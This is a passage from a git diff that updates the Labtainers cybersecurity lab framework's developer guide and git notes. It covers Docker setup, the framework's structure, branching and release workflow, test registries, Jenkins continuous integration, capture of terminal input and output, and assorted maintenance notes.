setup\_scripts/vbox-share.sh} +\item Map the SEED directory on the Linux host as a shared folder. This directory is used +to share distribution files between the development system and the test VMs. Accept defaults so its name is +\begin{verbatim} + /media/sf_SEED +\end{verbatim} \end {itemize} -\section{Docker Installation} +\subsection{Docker Installation} +\label{docker-install} For full and convenient installation of Docker and setting of Docker privileges, run 'install-docker-ubuntu.sh' in 'setup\_scripts', assuming you are developing in Ubuntu. {\bf Note:} Make sure to run the script as user (not sudo), so that your user can be added to the Docker group.\\ -\noindent Reboot system, so that user receives Docker privileges. \begin {itemize} \item If on a different Linux distribution look in the same folder for your corresponding distribution (CentOS, Debian, Fedora). @@ -89,39 +142,36 @@ For full and convenient installation of Docker and setting of Docker privileges, \item {\bf NOTE:} These install-docker scripts include the installation of other packages outside Docker that are necessary for building labs. \end {itemize} -\section{Testing and Running Existing Labs} -When running labs, the goal is to force ourselves to run the distributed labs unless we have specific reasons to do otherwise. -\begin{enumerate}[label=\Alph*] - \item ) To ensure that you are running the latest version of the published lab, first delete the current version of the lab using setup\_scripts/removelab.sh. +\noindent Reboot the system, so that user receives Docker privileges. - \item ) If you find the lab to be broken, e.g., missing a file, please attempt to run "rebuild.py" on the lab. rebuild.py will ouput a log of issues. Report these findings to the lab author. +\noindent Run pull-all.py to get all base docker images. - \item ) Always run removelab.sh after you have run an existing lab via rebuild.py. - \item ) Please review the lab's manual very closely. This is so that both the lab itself and the lab's manual can receive feedback for improvement. -\end{enumerate} - -\section{Overview of Labtainer Elements} +\section {Framework implementation overview} +\subsection{Implementation elements} The Labtainer framework implementation is primarily python scripts. A number of the top level scripts share functions found in scripts/labtainer-student/{\bf bin}/labutils.py. The top level scripts are organized as follows: \begin{itemize} \item {\bf Student} \begin{itemize} -\item Student {\tt labtainers} (start) and {\tt stoplab} -- In the labtainers-student/bin directory, these run on the +\item {\tt labtainer} (start) and {\tt stoplab} -- In the labtainers-student/bin directory, these run on the Linux host and manage the pulling, starting and stopping of containers. They also coordinate collection of student artifacts. -\item Student container scripts -- In the labtainers-student/{\bf lab\_bin} directory, these execute on +\item Container scripts -- In the labtainers-student/{\bf lab\_bin} directory, these execute on containers, e.g., to hook bash and parameterize containers. \end{itemize} \item {\bf Instructor} \begin{itemize} -\item Instructor {\tt gradelab} and {\tt stopgrader}-- Push student artifacts onto grader container and get assessment results. -\item Instructor container scripts -- perform grading functions. +\item {\tt gradelab} and {\tt stopgrader}-- Push student artifacts onto grader container and get assessment results. +\item Container scripts -- perform grading functions. +\item Web interface -- The {\tt -w} option to gradelab starts a Flask web server on the container, found in the +{\tt flask/server.py}. When debugging and enhancing this, use the {\tt -v} option instead of the {\tt -w} option to +cause the development flask directory to be mounted by the container. Then start the server with {\tt .local/flask/server.py labname}. \end{itemize} - \item {\bf Developer} \begin{itemize} -\item Developer building -- rebuild.py in labtainers-student/bin and labtainers-instructor/bin. + \item {\bf Lab designer} \begin{itemize} +\item Building -- rebuild in labtainers-student/bin \item Publishing labs -- labtainers/distrib/publish.py \item Base Labtainer images -- scripts/designer/bin, create and publish the base images. \end{itemize} @@ -132,16 +182,24 @@ VirtualBox and VMWare. \item Regression testing of grading functions is performed by labtainer-instructor/regress.py. Expected results are stored in the labtainer/testsets directory. \item Regression testing of labs and grading combined: scripts in testsets/bin; data sets -are not distributed, they are in labtainer/simlab/ +are not distributed, they are in {\tt labtainer/simlab/} Get simlab data sets using +\begin{verbatim} +git clone https://gitlab.nps.edu/mfthomps/Labtainers-simlab.git/ +\end{verbatim} + \end{itemize} \end{itemize} -\section {Control Flow} -Student scripts, e.g., start.py, run from the scripts/labtainer-student directory. +\subsection{Control flow} +Student scripts, e.g., {\tt labtainer}, run from the scripts/labtainer-student directory. That directory also contains the bin/labutils.py, which contains most of the framework functions. +The first time a given lab is run, the {\tt docker create} function is +used to create containers. The {\tt docker start} function is then used to start +the container, and is used for subsequent starts of the same lab. + When a student container is first started "docker exec" is used to run parameterize.sh on the container. @@ -150,11 +208,25 @@ sdtin/stout capturing hook, and adds the startup.sh call into the .profile. The startup.sh uses a lock to control which -terminal displays the instructions or grading. In practice most +terminal displays the instructions. In practice most instructions are now pdf files. The startup.sh invoked by student will source a student\_startup.sh if present. -\section{Automation and Distributions} +The Student.py script runs when a lab is stopped to collect artifacts and kill lingering +monitored processes. + +Grading is performed on a separate container built for each lab, derived from the +labtainer.grader image. + +The {\tt checkwork} function forces a collection of artifacts, and a grader container +is then run to perform grading. + +\subsection{mynotify} +The mynotify runs as a service. It is installed from the labtainer-student/lab\_bin directory. +It will exit silently if the lab has no notify file in .local/bin. See its log on each container +within /tmp/mynotify.log The service uses the Linux inotify service to detect and record access to files. + +\section{Distribution publishing} The Labtainer framework is distributed via the c3o website as a tar file, or, optionally a VM applicance (both VMWare and VirtualBox). The Docker images are distributed via the Docker Hub. @@ -167,18 +239,22 @@ From that shared folder, the two tar files are copied to the \noindent and then "Publish to Live" is performed on the Liferay site. -Two prepackaged VMs are maintained: one for VirtualBox, and one for VMWare. Each include +The distributions are created from a git repos, as described in section \ref{releases}. + +\subsection{VM Appliances} +Two prepackaged VM appliances are maintained: one for VirtualBox, and one for VMWare. Each include their respective guest additions. The VMs are maintained on a native Linux system using command line -utilities, e.g., VBoxManage. The VMs are rigged to update labtainers, including a pull of +utilities, e.g., VBoxManage. The VMs are rigged to update Labtainers, including a pull of baseline images, on each boot until the first lab is commenced. Scripts named "export*" are used to created the appliance files. The scripts re-import into test images, which must be manually tested. The WinSCP script pushes new applicance images to the CyberCIEGE download directory on the C3O web server. (Wine and WinSCP must be installed on the Linux host that manages the VMs. -New baseline images are created using scripts/designer/bin/create\_all.sh. Note its comment -about deleting all docker images first. When new baselines are created, use the labtainer-scripts -on the native Linux system to update the VM appliances so they contain the latest baseline images. +The VM appliances should be updated or recreated whenever changes are made to Labtairer base +images, otherwise, they are not expected to be changed. To revise the VM appliances, use the scripts +from host\_scripts on +on the Linux system that hosts VirtualBox and VMWare to update the VM appliances so they contain the latest baseline images. After the VM starts and updates the baseline images, use: \begin{verbatim} sudo dd if=/dev/zero of=/emptyfile bs=1M @@ -199,44 +275,337 @@ tests. Do the same for vmware. -Then push the images to the web server +Then push the images to the web server, in our case this is the nps.box.com account +pointed to by the Labtainers web server. The appliances automatically update the baselines and the Labtainer scripts on boot, so there is only really advantage to doing this for baseline changes, since they take a while to download. -After running the poweron/poweroff scripts, then run the exportVM.sh to -\section {installation sizes} +\subsubsection {Installation sizes} An initial install, including the base images, requires about 4GB. Installing a larger lab, e.g., snort, requires an additional 1GB. Running bufoverflow added 22M. -\section {Maintenance notes} -When working on a significant change, do so in a distinct branch: +\section {Source control and Configuration Management} +\label{releases} +This section describes Labtainers source control and mechanisms to support continuous +integration. Labtainers is managed using git, Docker registries, and a set of custom scripts that control +rebuilding and publishing of artifacts. Artifacts are published to test environments associated with each +development branch of the product. Publishing releases for public distribution occurs after development +branches are tested and merged into the master git branch. + +\subsection{Build artifacts} +Labtainers development creates the following artifacts: \begin{itemize} -\item Create a new branch: {\tt git checkout -b newbranch} -\item Make changes -\item Push changes in progress {\tt git push --set-upstream origin newbranch} -\item Pull new branch from other repo -- first checkin all local changes or stash. -\begin{itemize} -\item {\tt git pull} -\item {\tt git checkout newbranch} -\end{itemize} -\item After testing, merge to branch into master: -\begin{itemize} -\item Checkout master: {\tt git checkout master} -\item merge: {\tt git merge newbranch} -\end{itemize} +\item The distribution tar file for students, available as an artifact on GitHub +\item A distribution tar file for lab designers. This is simply the master tar file from GitHub. +\item A zip file of all the lab manuals, available as an artifact on GitHub. +\item A JAR file for the labedit UI, available as an artifact on GitHub. +\item A test script tar distribution containing SimLab scripts. (These come from a separately managed repo.) +\item The Docker container images for each lab. +\item The Docker container image for the grader. \end{itemize} +The tar distributions are created using scripts from the {\tt distrib} directory. The Docker images are built and published to +a Docker registry using the publish.py script, which includes file dependency logic to only rebuild images when one +of their sources change. By default, the publish.py script pushes to a local registry rather than to the DockerHub. +Updated images are pushed to the DockerHub as part of publishing a new revision of Labtainers. + +Currently, there is no attempt to archive Docker image artifacts, i.e., only the latest versions are available on publishing sites. +Code artifacts are managed within GitHub. + +\subsubsection{Build steps} +The following steps must be performed for each build to ensure testing is based on the latest file versions. +These steps are implemented with in the {\tt full\_build.sh} script. +\begin{enumerate} +\item Pull the latest git version of the current branch with {\tt git pull} +\item Refresh branch registry from the premaster (unless building premaster) using {\tt refresh\_branch.py} +\item Rebuild and publish Labtainer base images using {\tt scripts/labdesigner/bin/mkbases.py} +\item Rebuild and publish labs using {\tt publish.py} +\item Create distribution tar files with {\tt mkall.sh} +\item Run smoke test on Ubuntu16 and Ubuntu18 machines using scripts in {\tt testsets/bin} +\end{enumerate} + +\subsubsection{Base images} +Changes to base docker images referenced by the lab containers will trigger rebuilds. Base docker images are extended by creating +new dockerfiles with ``.xtra'' file extensions. +This lets us add features to a base without rebuilding all previous labs that use that base. +While these ``.xtra'' images are built with docker files managed within the +designer/base\_dockerfiles directory they are not true base images. +Only the true base images are included in the initial distribution. +In general, avoid changes to a base docker image because doing so could lead some installations +to include two copies of the base image, which are very much larger than most other Labtainer images. +Modifications to an xtra extension image will not affect existing installations that have run +some labs. Whenever a new lab is started, if it relies on a newer version of the xtra extension, that will be pulled as needed for the +lab container images. + +When a lab container image is created, it is labeled with the base image name and its image ID (a checksum generated by Docker). +This label is generated by a dockerfile that provides labeling veneer on top of newly created images (see the {\tt relabel} function +of the {\tt publish.py} script. + +When a lab is started, the framework confirms it contains the appropriate base image. If not, the user is prompted to download it. + +\subsubsection{Framework versions} +The ``framework version'' is a mechanism for providing compatability between new labs and the framework. This value is indpendent of +release identifiers. As a Labtainers lab evolves, it may require additional support from the framework. If a new lab image requires +an updated Labtainers framework, then the "framework\_version" must be incremented within the +bin/labutils.py script \textbf{before} the image is built and published. This will prompt users +to run update-labtainer.sh prior to running any newer lab image. +Also insure that these lines are present in the container dockerfile: +\begin{verbatim} +ARG version +LABEL version=$version +\end{verbatim} +\noindent And, be sure to publish the revised framework before publishing the revised lab(s). + + +\subsection{Releases and Container Images} +A Labtainers \textit{release} contains the set of artifacts described above. File versions within the tar files +of a release are all pulled from the git \textit{master} git branch on the development system. Docker container images within a release are built from a +\textit{premaster} git branch as described below, and then pushed to DockerHub via the {\tt refresh\_mirror.py} script. + +New releases are created as follows: +\begin{itemize} +\item The premaster branch is tested using {\tt full\_build.sh} to ensure container images reflect the latest code, and Jenkins builds which +ensure the premaster in github runs all regression tests. +\item Merge premaster into master. Do this manually (ignore automated scripts in distrib directory), and fix any merge conflicts. {git merge --no-ff premaster} +\item Use {\tt refresh\_mirror.py} to push premaster registry images to Docker Hub. +\item Determine the next git tag to use for the version ID, and pass that to {\tt justrelease.sh} (be sure to first activate an +ssh agent and get the github personal access token. +\end{itemize} + +\subsubsection{The premaster branch} +Labtainers source control management includes a \textit{premaster} branch which shall always be on the workflow of +creating new releases. All merges on the path to a release go through the premaster branch. No changes are made to the master +branch. The only way the master branch ever is updated is via a merge with the premaster branch, after all of its testing is +complete. This approach has two goals: 1) ensure that results of merge conflict resolution are tested prior to +inclusion within the master, and allow us to test container images before they are published in a new version. + +Container images on DockerHub are +pushed from a registry containing images build from the premaster branch. The push occurs during the final merge from the +premaster branch into the master branch during a release step. The images within the premaster registry are updated only through +a rebuild, i.e., {\tt full\_build.sh}. Images are not not pushed from development registries directly to the premaster registry. + +It is intended that no changes be made directly to the premaster branch, rather, changes are merged into the premaster from +other development branches. Once a merge into the premaster commences, no hotfixes affecting build images should occur until +the merge completes and the premaster is merged into the master. + +\subsection{Development branches} +Development of new features and fixes occur within development branches. +New branches are made off of the premaster branch, but not during a premaster merge. + +Remove local branches with: +\begin{verbatim} + git branch -d +\end{verbatim} +\noindent Or use the {\tt -D} option to force deletion. But, that not needed if the branch was properly merged. +Remove remote branches with +\begin{verbatim} + git push origin --delete +\end{verbatim} + +\subsection{Test registries} +The test registries are used to test the premaster and development branches of Labtainers. + +Test registries are named by their port numbers (currently, all test registries must reside on the same host). +These port numbers are mapped to git branch names. This mapping occurs in the +config/registry.config file. +The rebuild.py command pulls from the registry associated with the current branch. + +All development systems are intended to have the {\tt TEST\_REGISTRY} environment variable set to YES so that images are +pulled and pushed to the appropriate test registry, which is determined based on the current git branch. Test systems +will have a {\tt REGISTRY\_BRANCH} environment variable that explicitly identifies the branch for mapping to a regisitry +using the registry.config file. + +Within the test systems and the development host , i.e., the computer that builds distributions and docker images, update +the /etc/docker/daemon.json file to reflect new registries as "insecure". +\begin{verbatim} + "insecure-registries": [ + "testregistry:5000", + "testregistry:5001", + "testregistry:5002", + "testregistry:5003" + "testregistry:5004" + ] +\end{verbatim} +\noindent On the Linux system that hosts the development VMs, create the test registries using {\tt host\_scripts/start\_reg.sh}. + +\subsection{Testing} +Regression testing occurs within testing VMs that are provisioned from the Labtainer VBox appliance as follows: +\begin{itemize} +\item clone (as linked) a smoketest box +\item remove ~/.doupdate +\item echo "frank@beans.com" \textgreater ~/.local/share/labtainers/email.txt +\item add \$HOME/labtainer/trunk/testsets/bin to path in bashrc +\item visudo and change sudo etnry to: ALL=(ALL) NOPASSWD:ALL +\item apt-get install xdotool +\item apt-get install vim +\item setup\_scripts/prep-testregistry.sh +\item touch ~/labtainer/.dosmoke +\item run the {\tt setup\_scripts/smoke-profile-add.sh} +\item Add the vbox share group using {\tt setup\_scripts/vbox-share.sh} +\item Map the SEED directory on the Linux host as a shared folder. Accept defaults so its name is +\begin{verbatim} + /media/sf_SEED +\end{verbatim} +\item Edit the /etc/hosts and /etc/hostname to define a distinctive hostname, e.g., {\tt ubuntu16smoke}. +\item Create a directory at {\tt SEED/test\_vms/}. +\item On the development VM, create a script in {\tt testsets/bin} modeled after {\tt test-ubuntu18.sh} +\item Modify the {\tt setup\_scripts/full\_build.sh} script to invoke the new test script. +\end{itemize} + + +The {setup\_scripts/smoketest.py} scripts represents the test procedures for Labtainers. +It is expected that local repo development branches will be tested prior to pushing them to GitHub. Similarly, the +results of premaster branch merges are expected to be tested locally before it is pushed to GitHub. A test run +from a fresh pull from GitHub premaster branch is a prerequisite to publishing a new release. + +Local bench testing, e.g., using {\tt rebuild} for a small set of labs, depends on the git workspace and the test registry for the current branch. +Local branch testing, i.e., use of full\_build.sh, uses the local repo. It is up to the developer to ensure that is up to date. + +Integration testing pulls from the GitHub repo for the desired branch. + + +\subsection{Merging} +Development branches are merged into the premaster branch as part of creating a new release. +\begin{itemize} +\item Be sure that any and all new and changed files are commited in the development branch, and these have been tested. +\item Refresh the premaster registry to ensure it matches the DockerHub images: {\tt ./refresh\_mirror.py -r} +\item {\tt git checkout premaster} +\item {\tt git merge } +\item Fix any confilicts +\item Rebuild images using the premaster branch source: {\tt ./full\_rebuild.py} +\item Run smoketest. +\item Push premaster to GitHub: +\begin{verbatim} + git push --set-upstream origin premaster +\end{verbatim} +\end{itemize} + +Revert to premaster in case of merge issues or other failures using {\tt revert\_premaster.sh}. + +\subsection{Publish new release} +The steps for merging premaster into master and creating a new distrubtion are captured in the {\tt distrib/mergePre.sh} script. +Labtainer releases are managed as GitHub releases, using git tags and the {\tt github\_release} tool. + +\begin{verbatim} +git tag +git push +git push --tags +\end{verbatim} + +Use the {\tt mkrelease.sh} script to create the release files within GitHub. + +\subsection{Continuous integration with Jenkins} +A Jenkins pipeline automates periodic testing of {\tt premaster} branch of Labtainers. The pipeline script is backed up in +{\tt tesetsets/bin/jenkins\_pipeline.txt}. The pipeline pulls from the premaster branch of the GitHub repo. It builds any +changed lab images (**TBD flag those to remind to merge the premaster registry into the master). It then generates the +student and designer distributions and uses those to run the smoketest VMs. + +\subsubsection{Jenkins installation} +The stock Jenkins is installed on the development VM. +After installing Jenkins, add the jenkins user to the vboxfs and the docker groups +\begin{verbatim} + sudo usermod -a -G vboxsf jenkins + sudo usermod -a -G docker jenkins +\end{verbatim} + +Jenkins workspace is at /var/lib/jenkins/workspace/labtainer-build/Labtainers +Check logs to make sure Jenkins git repo is not falling behind. + +Manually go to the Jenkins labtainer-build directory and clone the Labtainer-simlab repo +\begin{verbatim} +git clone https://:@gitlab.nps.edu/mfthomps/Labtainers-simlab.git +\end{verbatim} + +\section{Developer guidelines} +\subsection{Testing and Running Existing Labs} +When running labs, the goal is to force ourselves to run the distributed labs unless we have specific reasons to do otherwise. +Labtainers will use locally-created container images if they are present -- and these may be stale. +\begin{enumerate}[label=\Alph*] + \item ) To ensure that you are running the latest version of the published lab (or version assocated with your current git branch), first delete the current version of the lab using setup\_scripts/removelab.sh. + + \item ) If you find the lab to be broken, e.g., missing a file, please attempt to run "rebuild.py" on the lab. rebuild.py will ouput a log of issues. Report these findings to the lab author. + + \item ) Always run removelab.sh after you have run an existing lab via rebuild.py. + + \item ) Please review the lab's manual very closely. This is so that both the lab itself and the lab's manual can receive feedback for improvement. +\end{enumerate} + +\section{GNS3 Support} +Please refer to the guide in {\tt docs/gns3} for information on integrating Labtainers with GNS3. + +\section{Dev Ops notes} +The Jenkins utility and test VMs all run on the Ubuntu18-150 VM (the ``development VM''), which runs on the +{\tt mike-Precision-Tower-7910} workstation, which is an Ubuntu 16 distribution. +The VM can be remotely started using the {\tt ~/startBigVM.sh} script (TBD make service). +The {\tt vbox-test-server} service on the workstation will start smoketest VMs in response +to scripts run on the development VM, e.g., started by Jenkins. + +Jenkins is configured to rebuild from GitHub every night. + +A cron job is configured to rebuild using the local repo each night. +An ssh tunnel to the workstation is created to access Jenkins web interface. + +Use {\tt vboxmanage list runningvms} to confirm the development VM is running. +Smoketest logs appear in a shared folder at ~/SEED/smokelogs. + +\subsection{Test VMs} +The host directory at {\tt SEED/test\_vms/} is used to communicate with test VMs. +The {\tt CURRENT\_BRANCH} environment variable is set to determine which test repo +will be used as found in the config/registry.config file. + +\section{Capturing stdin/stdout} +The user's {\tt .bashrc} sources two scripts to set up and manage functions that run prior to the +execution of the target command. If the target command is to be monitored (e.g., is not a system command), +then stdin and stdout are mirrored to timestamped files in the .local/result directory. This mirroring +is performed by the {\tt capinout} program whose source is in the {\tt tool-src/capinout} directory. +The {\tt capinout} program is designed to handle use of pipes and redirection within the command. The +{\tt capinout} process (or one if its children) will fork/exec the {\tt wrap\_exec.sh} shell, which sets +signal handling and uses {\tt eval} to run the target command. Commands +that simply use stdin and stdout without pipes are managed using a pty that allows the command to control the +terminal, e.g., to mask passwords or provide curses controls. This requires a number of processes, as follows: +\begin{itemize} +\item The first process, called the \textit{stage}, simply waits for its child to exit, or for its child to report +that the command process has orphaned a child, in which case the stage will exit, freeing up the terminal while the +orphan continues to run and potentially send output to stdout and the timestamped mirrored file. +\item The stage +process forks a child called \textit{capinout} that creates the master pty and performs the mirroring. +\item The capinout process creates a \textit{reaper} process that becomes the session leader and controller of the pty terminal. +\item The reaper then forks the command process which execs the wrap-exec.sh script. Any orphans of the command process are reparented to the +reaper, and if the reaper detects the command process exiting and leaving orphans, it signals the capinout process which +in turn signals the stage so that the stage can exit. +\end{itemize} +\includepdf[pages=-,pagecommand={},width=\textwidth]{../../tool-src/capinout/capinout.pdf} + +\section {Headless Labtainers} +See README files in the headless-lite; azure; and google directories for information about flavors of headless Labtainers (that run +on cloud servers or other platforms lacking standard X11 desktops. +\subsection{Gnome terminal issues} +If gnome termainals are created prior to completion of container initialization, the gnome terminal may start and then exit. This +might occur when the initial Labtainers terminal is created on the labtainers container in a headless environment. It may also occur +when starting a lab (but why then would it also kill the original Labtainers terminal?). + \section {Notes} -\subsection {Race condition on checklocal.sh output} -If an mynotify.py event causes an output from checklocal.py, that may conflict with -concurrent output from checklocal.py resulting from some program/script running. In -theory, the program/script should complete its run of checklocal before the program/script +\subsection {Race condition on precheck.sh output} +If an mynotify.py event causes an output to a timestamped file named precheck, that may conflict with +concurrent output from precheck.py resulting from some program/script running. In +theory, the program/script should complete its run of precheck before the program/script actually gets to access the file that triggers a mynotify watch. So, the latter's output to the timestamped file is appended. Further, the mynotify.py looks for an existing timestamped file, and if not found, looks for one from the previous second. This hack is an attempt to keep the outputs merged. It will fail if the access does not happen within a second of the -program start. See the acl lab. +program start. Consider the acl lab. We wish to know that alice has run the fun program, +and that opened the accounting.txt file. The precheck.sh script runs prior to the fun program, +and generates a timestamped file. The fun program opens the accounting.txt file, which triggers +mynotify to create a timestamped file named precheck. When mynotify is triggered to find a timestamped +output file, it looks for one of the current timestamp, and will also look for one from the previous second. +Thus, if the fun program takes more than 1 second before opening accounting.txt, the assessment will report +a false negative because the boolean conditions will exist in different timestamp buckets. + +An alternate implementation might be to somehow bind the initial precheck output to the specific instantiation of +the fun program, and then compare that to what triggered mynotify. However: 1) precheck completes before the target +program (fun) is started, and 2) inotify has absolutely no sequencing guarantees, e.g., the fun program may terminate +before the inotify callback occurs. \subsection {temporal logic considerations} When evaluating results from logfiles containing timestamps use FILE\_TS or FILE\_TS\_REGEX @@ -257,5 +626,169 @@ paths are managed relatively between scripts. Change smoke test to look for email in expected results and set that as the email before starting a lab. Validation should catch results.config naming of non-existent container. +The backups2 lab creates a loopback volume named myfs.img. The lab does not dismount it. +This device will go away on a reboot. + +Add latex template and makefile when new\_lab\_setup is run. + +Collect bash history from all users. + +Clean up the webtrack lab manual to clarify steps, and to clarify no login to the labadserver site +is necessary. + +\subsubsection{Docker problems} +The check\_nets.py tests for problems that sometimes crop up in Docker. These include Linux routes defined +on the host for container networks that no longer exist. And, loopback devices that are not properly deleted? +The file-deletion lab fails in a full smoketest, perhaps due to a lingering loopback device? +Lab must be completed prior to reboot of the host VM. Reflect that in Lab Manual. + +The backups2 lab consumed a loopback device, leaving it define (as seen when running check\_nets.sh). This +led the file-deletion lab to fail, being unable to get a loopback device. Altered file-deletion to create the +"next" loopback device if it does not exist. + +Metasploit lab now crashes the VM. g\_array\_unref: assertion 'array' failed. Leads to X server crash, loss of +desktop. Perhaps only occurs after reboot, once, then works ok? Created both containers with NO\_PRIVILEGE attribute +in start.config, seems to fix it? NO: that breaks it by keeping services from running. Disabled postgresql service +in attacker seems to keep the crash from happening? Also happened in a hackazon container derived from a dockerfile that +included multiple CMD entries (one in the latest file, one in the parent file). + +Sometimes (only see on testing), the container ID reverts from the labtainer name to its hash. This can be accompanied by an +inability to manually stop the container. Seems to be a Docker bug, but only appears every 6 months or so of daily regression testing. + +\subsubsection{Lab fixes} +These fixes were deferred to avoid unnecessary rebuilds. The problems are due to +files missed from git, or directories that are not created. + +ssl -- to fixlocal on ca: + mkdir ~/ca/private + mkdir ~/ca/certs + mkdir ~/ca/intermediate/private + mkdir ~/ca/intermediate/certs + +\subsubsection{Grader updates} +Automate detection of need to update a local grader image, e.g., in response to a fix to the grader. + +\subsubsection{UI fixes} +\begin{itemize} +\item Resize windows and potentially alter font size. +\item default buttons, e.g., so enter key makes default selection. +\item right click menu for copy/paste in text fields. +\item visual clue that lab needs saving. +\item keyboard shortcuts +\item UI for makepack +\item Visual clue that results/goals window is open, color button? +\item expand UI text area todo to flag goals/results without documentation +\end{itemize} + +\subsection{ongoing} +Updated framework and grader to use python3. Intent is to not affect existing labs. Need to publish centos-log2 and +backups2 due to changes in centos packages. Changed grader and centos.xtra base dockerfiles. +Publish along with new update? Will centos-log2 run with old framework? +This is begin done in the python3 branch of git. + +Python3 changed semantics of randint. Also changed random.seed to take a version number for compatable seeding. +Except version 3.5.2 is broken in that a string given as the seed causes a non-deterministic (time?) seed to be used. +This bug is fixed in 3.6. Our grader container naturally installs 3.5.2, so we also install 3.6 from dead.snakes ppa +and change the links in /usr/bin/python3. The broken 3.5.2 version is also what comes with the Ubuntu used in the original +Labtainer VMs. So, we will maintain support for python2 in the framework, and fall back to python2 if we detect 3.5.2. + +Some html, e.g., for the softplc, want to visit fonts.googleapis.com. If no gateway/dns is available, there is a long timeout. +add ADD-HOST fonts.googleapis.com:127.0.0.1 to start.config to shut it up. + +In the VM .profile, move the terminal creation functions to a seperate script run in background -- seems .profile must finish or VMWare Horizen +borks the Terminal Server startup. + +Smoketests still sometimes fail with bad routing tables and/or iptables. Run check\_nets.py to test. + +Use of Docker cache leads to build dependency errors in which a source file changes but has not actual effect on the image. If the image +checksum matches the cache, the date is not altered, and thus the next build will see a false dependency since the source will continue to +be newer than the image. Modified building of base images to default to --no-cache; modified building lab images to allow supressing use of cache, +though still defaults to use of cache. + +Dependence on LABTAINER\_DIR introduced with imodules, and will spread and backfill from there. However, current installations have an invalid +value for that env variable. An updated update-labtainer.sh fixes that. But update must run twice for it to take effect within the bashrc. +After the first run of update-labtainer, the imodule function will be available, but without the value being set. Add diagnostic to imodule to +prompt for re-run of update-labtainer. Or just hack around it? + +Validation of goals.config should catch answer fields that lack syntax, e.g., foo rather than answer=foo + +\subsection {UI} +Notes on UI development. +\subsection{UI Development} +See the {\tt UI/README.txt} file. Development uses Netbeans for UI construction. Manual make/run is performed by +{\tt UI/bin/buildUI2.sh}. Netbeans is not required for non-UI code changes. +\subsubsection{Warn of changes} +Detecting whether a user changed a configuration file, and thus should be prompted to save it before losing it, +is performed by saving the state into a file temporary directory and then comparing that to newly saved state based +on reconsuming the original file. This lets us avoid false positives due to manual changes. + +\subsubsection{Distribution} +The lab designer package is currently distributed by pulling the entire git repo tar ball. +That repo will include the jar file for the UI. This simplifies distribution. Should the tar grow large, we +can look at moving it into the release artifacts. The tar file is in UI/bin. It is run via the {\tt editlab} +script. + +\subsection {Mounts for software persistance} +Consider labs such as IDA. For licensing, we have the student perform the installation, which involves accepting +the license. It would be nice if subsequently performed IDA labs did not require the student to repeat +the installation. And with IDA, students may make configuration changes. To facilitate this, we define +one or more {\tt mounts} for containers in the start.config file. The installation package will be distributed +within each IDA container, but will be deleted by the fixlocal if it seems to have been installed? + + +\subsection {Build dependence} +The home\_tar and sys\_tar files as considered for build dependence. But the home.tar and sys.tar are skipped because they are remade +from a fresh pull. This is a problem when we add dated archives. Must rebuild with a -f. +\subsubsection {IModules} +The DoRebuild function defines a container\_registry, which is then used to query info about this image, but is also used to define the +registry within the Dockerfile, where the base is pulled, i.e.,the FROM statement. It seems there needs to be a BASE\_REGISTRY as well as +a REGISTRY, with the former defaulting to the default registry per LabtainerConfig. + +How do we manage name conflicts between labs? That works natrually by precidence. But between base images? Where a designer wants base +images from multiple registries, how are they named within the test registry since that collapses all registry designators into the one test? + +\subsubsection {Base images IDs} +The base image information placed in labels of lab container images include the registry name for which the image was built. Since we push +premaster registry images to DockerHub, the public lab images have a label reflecting the premaster test registry. +This is worked around with in the InspectRemoteReg.py. + +\subsection{Other bread crumbs} +If you get the dreaded "docker.service: Start request repeated too quickly.", then: +sudo systemctl daemon-reload +sudo systemctl restart docker + +\subsection{tap/netmon Boot synchronization} +Capturing network traffic using tap/netmon components may depend on those components being up with their respective +services prior to other components generating network traffic. Typical Unix-based synchronization is not possible +because the netmon component is not on other networks. No communication paths between components and the tap/netmon +components are visible to the student, and thus mechanisms that reflect such communication are an anachronism. + +That implies use of a hidden synchronziation scheme. Or sleep based hacks. This synchronization must(should?) occur on +each start, not just the first parameterization. Once a container starts, we cannot delay their services without adding +something new to each. +Delay start of other components until tap/netmon have started? +Add new service similar to wait\_param that will wait for tap/netmon to run? Automatically add to each component +on a tapped network? + +Add volume to tap and use subdirectory as a lock. Sleep docker start threads for components that attach to +tapped networks? Advantage is designer need not configure individual components. + +\subsection{IModule testing at NPS} +Labs having defined registries do not have test registry images. The ParseStartConfig.py does not insert a test registry +for these labs, thus any running of IModules on test or development systems will cause the Docker Hub instance of container +images to run. + +\subsection{Gradelab via browser} +The Flask web server is integrated with the grader container. The {\tt labtainer-instructor/flask/server.py} program implements +the server along with the flask/templates files. For debugging, use the {\tt -vd} option instead of {\tt -w} to cause the local repo +flask directory to be mounted and used within the container. When you get a terminal to the grader container, run the instructor.py command +and then start the server with {\tt .local/flask/server.py labname}. The templates files contain dynamic HTML for the various links displayed +on each page, and these have corresponding {\tt app.route} decorators in the server.py code. Review the Flask product documentation to understand the dynamic HTML syntax and how values are replaced. + +\subsection{Lab versions} +Some labs have multiple versions, reflecting substantive changes, e.g., changes to assessment artifacts, or introduction of new containers. +This introduces naming issues, such as {\tt somelab} and {\tt somelab2}. Lab listings will only show the latest version of a given lab, unless +an earlier version is already installed. While it may be tempting to hide version numbers from students and instructors, doing so can introduce +its own problems. For example, which xfer directory should the labs show up in, and what if they have different grading? \end{document} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/git.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/git.txt index a4936cf69..5649bdc07 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/git.txt +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/git.txt @@ -8,3 +8,29 @@ Branches git checkout -b some_branch git push -u origin some_branch + +Remote URL for GITLAB -- NOT github +Get token from github or gitlab +git remote set-url origin https://:@gitlab.nps.edu/mfthomps/Labtainers-simlab.git + + +change to ssh: +git remote set-url origin git@github.com:USERNAME/REPOSITORY.git + +change to https: +git remote set-url origin https://github.com/USERNAME/REPOSITORY.git + +git remote set-url origin https://github.com/mfthomps/Labtainers.git +git remote set-url --push origin git@github.com:mfthomps/Labtainers.git + + + + +git remote.origin.url https:// + +git stash +git stash apply + +git config --global user.name "mfthomps" +git config --global user.email "mfthomps@nps.edu" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/labtainer5-sm.png b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/labtainer5-sm.png new file mode 100755 index 000000000..887084741 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/labtainer5-sm.png differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/gns3/gns3.tex 